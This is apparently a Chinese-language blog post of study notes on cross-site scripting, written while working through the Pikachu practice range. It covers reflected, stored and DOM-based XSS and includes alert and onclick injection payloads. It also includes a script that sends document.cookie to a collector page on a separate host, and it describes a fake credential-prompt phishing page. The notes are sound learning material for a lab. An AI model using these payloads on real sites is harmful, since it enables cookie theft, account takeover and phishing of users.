颓废了几天,该好好努力了。

XSS概述

XSS漏洞是web漏洞中危害较大的漏洞,是一种发生在web前端的漏洞,所以危害的对象也主要是前端用户,XSS可以用来进行钓鱼攻击,前端js挖矿,获取用户cookie。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。

XSS漏洞的常见类型

1.反射型,交互的数据一般不会存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。

2.存储型交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面。

3.DOM型不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型。

XSS漏洞形成的原因

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致”精心构造”的脚本输入后,再输到前端时被浏览器当作有效代码解析执行从而产生危害

XSS漏洞测试流程

1, 在目标站点上找到输入点,比如查询接口,留言板等

2, 输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理

3, 通过搜索定位到唯一字符,结合唯一字符前后的语法确认是否可以构造执行js的条件(构造闭合)

4, 提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明纯在XSS漏洞

Tips:

  1. 一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS
  2. 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器);
  3. 通过变化不同的script,尝试绕过后台过滤机制

下面开始靶场的练习

反射型XSS(get)

按照我们的测试流程,先输入一些可能会被过滤的字符和唯一字符

我们查看一下源代码

通过查找发现我们的唯一字符

发现没有任何的过滤,那么我们就可以构造一个xss的弹窗(不仅限于弹窗,这里只是做演示)

<script>alert('xss')</script>

发现前端限制了我们的输入长度

我们可以在开发者工具中进行修改

这样我们就可以插入我们的payload了

存储型XSS

一般都是在留言板内,把内容保存在数据库,这样每次访问这个页面就会触发xss

这个不多说,和反射型就这个区别

DOM型XSS

定义一个str来接收id为text的值

然后再把str写进a标签里面给了id为dom的div

这样我们可以构造把a标签添加属性的xss

' onclick = "alert('xss')">

给a标签一个单击的属性,里面写入xss代码

dom型xss-x

其实也是一样的

window.location.search获取url?后面的部分

然后进行url解码

获取text后面的内容

然后再发送给让往事都随风吧

' onclick = "alert('xss')">

当我们点击这句话的时候也一样会触发我们的xss代码

get型XSS获取cookie

pikachu有自带的XSS测试平台

配置登陆以后

进入cookie收集

目前当我们还没有进行测试的时候,是为空的,

当我们构造一个xss代码

<script>document.location = ‘http://10.2.10.35/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

跳转到我们接收cookie的页面,并且把cookie带入,构成一个完整的get请求

查看cookie.php文件,

这里改成你想要跳转的页面,伪造出你这个页面没问题

之后我们就可以把构造好的页面发送给别人

让别人点击以后查看效果

反射型xss(post)

我个人的理解是,在被攻击的用户打开某个存在xss漏洞的页面的时候,在已经登陆的状态下又点开了攻击者发来的链接,链接给存在xss漏洞的页面提交了post请求,JS获取到了cookie然后返回到攻击者的接口

首先先看靶场

通过提示我们知道账号密码是admin/123456

XSS钓鱼攻击(存储型XSS)

当打开我们带有钓鱼xss的网页时,会弹出一个进行身份验证的窗口,让你输入账号密码,账号密码就会发往我们的XSS后台

XSS跨站脚本攻击学习笔记(pikachu)的更多相关文章

  1. XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)

    转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...

  2. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  3. web应用程序安全攻防---sql注入和xss跨站脚本攻击

    kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...

  4. XSS(跨站脚本攻击) - 常用代码大全

    XSS(跨站脚本攻击) - 常用代码大全-版本一 1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt> < ...

  5. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  6. xss(跨站脚本攻击),crsf(跨站请求伪造),xssf

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  7. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  8. JAVA覆写Request过滤XSS跨站脚本攻击

    注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...

  9. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

随机推荐

  1. [vijos1234]口袋的天空<最小生成树>

    题目链接:https://vijos.org/p/1234 白天刚刚写完prim的算法,晚上就心血来潮的打了一道最小生成树的题 虽然有题解说可以用prim做,但是这道题明显是加最小的边,感觉krusk ...

  2. 分派pie(二分法)

    2.问题描述 我的生日要到了!根据习俗,我需要将一些派分给大家.我有N个不同口味.不同大小的派.有F个朋友会来参加我的派对,每个人会拿到一块派(必须一个派的一块,不能由几个派的小块拼成:可以是一整个派 ...

  3. Spring MVC 笔记--配置基于JavaConfig

    主要使用基于 JavaConfig 方式配置 配置 DispatcherServlet 通过继承抽象类AbstractAnnotationConfigDispatcherServletInitiali ...

  4. CPU、内存、硬盘、指令之间的关系

    我们都知道所有的程序最终都是一系列计算机能够识别的指令和数据,通过执行这些指令来控制整个计算机. 而CPU就是负责读取和解释执行这些指令的,CPU主要包括运算器.控制器和寄存器,控制器负责把指令.数据 ...

  5. 家庭版记账本app开发之关于(数据库查找出数据)圆饼图的生成

    这次完成的主要的怎样从数据库中调出数据.之后通过相关的数据,生成想要的圆饼图.以方便用户更加直观的看见关于账本的基本情况. 在圆饼图生成中用到了一些外部资源 具体的import如下: import c ...

  6. MySQL入门,第四部分,学会创建、删除表

    一.列完整性约束 列完整性约束:是指对某一列设置的约束条件.该列上的数据必须满足.最常见的有: NOT NULL 该列值不能为空 NULL  该列值可以为空 UNIQUE 该列值不能存在相同 DEFA ...

  7. redis修改密码以及验证登录,启动服务常用命令

    1.通过配置文件,直接修改 2.启动然后使用密码验证登录 3.redis常用命令 启动服务:redis-server --service-start重启服务:service redis restart ...

  8. 07-JDBC协议

    1.下载mysql-connector-java-8.0.17.jar,jar包放进jmeter的安装目录lib文件夹下,启动jmeter就好 2.新增线程组,然后添加配置元件:JDBC connec ...

  9. GO代码风格指南 Uber Go (转载)

    原文地址:https://github.com/uber-go/guide/blob/master/style.md 译文出处:https://github.com/uber-go/guide 本文永 ...

  10. shell 中获取子字符串的正确姿势

    前言 shell 取子串的方式有点特别,你写的匹配字符串是需要从头开始匹配的,第一个匹配到了才开始匹配下一个,这个类似于python中的match的工作方式. 1,获取子串有两种方式 使用字符串匹配的 ...